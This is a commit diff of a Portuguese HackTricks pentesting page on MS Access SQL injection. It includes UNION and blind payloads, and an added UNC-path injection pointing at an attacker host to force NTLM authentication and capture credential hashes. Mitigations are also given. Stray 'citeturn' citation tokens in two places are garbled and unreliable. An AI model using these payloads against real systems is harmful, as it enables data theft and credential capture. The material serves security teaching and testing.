mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md
This commit is contained in:
parent
c1c8f57dd3
commit
16537467a1
@ -1,10 +1,10 @@
|
|||||||
# Injeção SQL no MS Access
|
# Injeção SQL do MS Access
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Playground Online
|
## Playground Online
|
||||||
|
|
||||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||||
|
|
||||||
## Limitações do DB
|
## Limitações do DB
|
||||||
|
|
||||||
@ -39,7 +39,7 @@ Assim como o TOP, você pode usar **`LAST`** que irá obter as **linhas do final
|
|||||||
|
|
||||||
## Consultas UNION/Subconsultas
|
## Consultas UNION/Subconsultas
|
||||||
|
|
||||||
Em uma SQLi, você geralmente vai querer de alguma forma executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre requer que em **subconsultas ou consultas extras um `FROM` seja indicado**.\
|
Em uma SQLi, você geralmente desejará de alguma forma executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre requer que em **subconsultas ou consultas extras um `FROM` seja indicado**.\
|
||||||
Portanto, se você quiser executar um `UNION SELECT` ou `UNION ALL SELECT` ou um `SELECT` entre parênteses em uma condição, você sempre **precisa indicar um `FROM` com um nome de tabela válido**.\
|
Portanto, se você quiser executar um `UNION SELECT` ou `UNION ALL SELECT` ou um `SELECT` entre parênteses em uma condição, você sempre **precisa indicar um `FROM` com um nome de tabela válido**.\
|
||||||
Portanto, você precisa conhecer um **nome de tabela válido**.
|
Portanto, você precisa conhecer um **nome de tabela válido**.
|
||||||
```sql
|
```sql
|
||||||
@ -72,7 +72,7 @@ Você também pode usar uma maneira mais tradicional:
|
|||||||
```sql
|
```sql
|
||||||
-1' AND (SELECT TOP 1 <table_name>)%00
|
-1' AND (SELECT TOP 1 <table_name>)%00
|
||||||
```
|
```
|
||||||
_Sinta-se à vontade para verificar isso no playground online._
|
_Fique à vontade para verificar isso no playground online._
|
||||||
|
|
||||||
- Nomes de tabelas comuns do Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
- Nomes de tabelas comuns do Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||||
- Há outra lista em [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
- Há outra lista em [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||||
@ -99,24 +99,34 @@ Já discutimos a [**técnica de encadeamento de iguais**](ms-access-sql-injectio
|
|||||||
```sql
|
```sql
|
||||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||||
```
|
```
|
||||||
Em resumo, a consulta usa uma declaração "if-then" para acionar um "200 OK" em caso de sucesso ou um "500 Internal Error" caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O uso subsequente de LAST permite considerar apenas a 10ª tupla. Com esse valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Alterando corretamente o índice de MID e TOP, podemos despejar o conteúdo do campo "username" para todas as linhas.
|
Em resumo, a consulta usa uma declaração “if-then” para acionar um “200 OK” em caso de sucesso ou um “500 Internal Error” caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O uso subsequente de LAST permite considerar apenas a 10ª tupla. Com esse valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Alterando corretamente o índice de MID e TOP, podemos despejar o conteúdo do campo “username” para todas as linhas.
|
||||||
|
|
||||||
### Baseado em Tempo
|
### Truques Baseados em Tempo (Cegos)
|
||||||
|
|
||||||
Verifique [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
|
O Jet/ACE SQL em si **não** expõe uma função nativa `SLEEP()` ou `WAITFOR`, então injeções cegas baseadas em tempo tradicionais são limitadas. No entanto, você ainda pode introduzir um atraso mensurável forçando o mecanismo a acessar um **recurso de rede que é lento ou não responde**. Como o mecanismo tentará abrir o arquivo antes de retornar o resultado, o tempo de resposta HTTP reflete a latência de ida e volta para o host controlado pelo atacante.
|
||||||
|
```sql
|
||||||
|
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||||
|
```
|
||||||
|
Aponte o caminho UNC para:
|
||||||
|
|
||||||
### Outras Funções Interessantes
|
* um compartilhamento SMB atrás de um link de alta latência
|
||||||
|
* um host que descarta o handshake TCP após `SYN-ACK`
|
||||||
|
* um sinkhole de firewall
|
||||||
|
|
||||||
|
Os segundos extras introduzidos pela pesquisa remota podem ser usados como um **oráculo de tempo fora de banda** para condições booleanas (por exemplo, escolha um caminho lento apenas quando o predicado injetado for verdadeiro). A Microsoft documenta o comportamento do banco de dados remoto e o kill-switch de registro associado no KB5002984. citeturn1search0
|
||||||
|
|
||||||
|
### Outras funções interessantes
|
||||||
|
|
||||||
- `Mid('admin',1,1)` obtém substring da posição 1 com comprimento 1 (a posição inicial é 1)
|
- `Mid('admin',1,1)` obtém substring da posição 1 com comprimento 1 (a posição inicial é 1)
|
||||||
- `LEN('1234')` obtém o comprimento da string
|
- `LEN('1234')` obtém o comprimento da string
|
||||||
- `ASC('A')` obtém o valor ascii do caractere
|
- `ASC('A')` obtém o valor ascii do caractere
|
||||||
- `CHR(65)` obtém a string a partir do valor ascii
|
- `CHR(65)` obtém a string a partir do valor ascii
|
||||||
- `IIF(1=1,'a','b')` se então
|
- `IIF(1=1,'a','b')` se então
|
||||||
- `COUNT(*)` conta o número de itens
|
- `COUNT(*)` Conta o número de itens
|
||||||
|
|
||||||
## Enumerando tabelas
|
## Enumerando tabelas
|
||||||
|
|
||||||
A partir de [**aqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) você pode ver uma consulta para obter os nomes das tabelas:
|
De [**aqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) você pode ver uma consulta para obter os nomes das tabelas:
|
||||||
```sql
|
```sql
|
||||||
select MSysObjects.name
|
select MSysObjects.name
|
||||||
from MSysObjects
|
from MSysObjects
|
||||||
@ -134,7 +144,7 @@ No entanto, note que é muito típico encontrar SQL Injections onde você **não
|
|||||||
|
|
||||||
O conhecimento do **caminho absoluto do diretório raiz da web pode facilitar ataques adicionais**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
|
O conhecimento do **caminho absoluto do diretório raiz da web pode facilitar ataques adicionais**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||||
|
|
||||||
O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório da web**.
|
O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório da web**.
|
||||||
|
|
||||||
@ -154,7 +164,38 @@ Outra maneira de enumerar arquivos consiste em **especificar um item database.ta
|
|||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||||
|
|
||||||
Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** dentro do banco de dados. Embora o MS Access sempre gere uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
|
Onde **name[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** dentro do banco de dados. Embora o MS Access sempre gere uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
|
||||||
|
|
||||||
|
### Acesso Remoto ao Banco de Dados & Roubo de Credenciais NTLM (2023)
|
||||||
|
|
||||||
|
Desde o Jet 4.0, cada consulta pode referenciar uma tabela localizada em um arquivo `.mdb/.accdb` *diferente* via a cláusula `IN '<path>'`:
|
||||||
|
```sql
|
||||||
|
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||||
|
```
|
||||||
|
Se a entrada do usuário for concatenada na parte após **IN** (ou em uma chamada `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`), um atacante pode especificar um **caminho UNC** que aponta para um host que eles controlam. O mecanismo irá:
|
||||||
|
|
||||||
|
1. tentar autenticar via SMB / HTTP para abrir o banco de dados remoto;
|
||||||
|
2. vazar as **credenciais NTLM** do servidor web (autenticação forçada);
|
||||||
|
3. analisar o arquivo remoto – um banco de dados malformado ou malicioso pode acionar bugs de corrupção de memória do Jet/ACE que foram corrigidos várias vezes (por exemplo, CVE-2021-28455).
|
||||||
|
|
||||||
|
Exemplo prático de injeção:
|
||||||
|
```sql
|
||||||
|
1' UNION SELECT TOP 1 name
|
||||||
|
FROM MSysObjects
|
||||||
|
IN '\\attacker\share\poc.mdb'-- -
|
||||||
|
```
|
||||||
|
Impacto:
|
||||||
|
|
||||||
|
* Exfiltração fora de banda de hashes Net-NTLMv2 (utilizáveis para relay ou cracking offline).
|
||||||
|
* Potencial execução remota de código se um novo bug do parser Jet/ACE for explorado.
|
||||||
|
|
||||||
|
Mitigações (recomendadas mesmo para aplicativos Classic ASP legados):
|
||||||
|
|
||||||
|
* Adicione o valor do registro `AllowQueryRemoteTables = 0` em `HKLM\Software\Microsoft\Jet\4.0\Engines` (e sob o caminho equivalente do ACE). Isso força o Jet/ACE a rejeitar caminhos remotos que começam com `\\`.
|
||||||
|
* Bloqueie SMB/WebDAV de saída na fronteira da rede.
|
||||||
|
* Sanitizar / parametrizar qualquer parte de uma consulta que possa acabar dentro de uma cláusula `IN`.
|
||||||
|
|
||||||
|
O vetor de autenticação forçada foi revisitado pela Check Point Research em 2023, provando que ainda é explorável em Windows Server totalmente atualizado quando a chave do registro está ausente. citeturn0search0
|
||||||
|
|
||||||
### Cracker de Senha .mdb
|
### Cracker de Senha .mdb
|
||||||
|
|
||||||
@ -163,5 +204,7 @@ Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existen
|
|||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||||
|
- [Microsoft KB5002984 – Configurando Jet/ACE para bloquear tabelas remotas](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
|
||||||
|
- [Check Point Research – Abusando das Tabelas Vinculadas do Microsoft Access para Autenticação Forçada NTLM (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user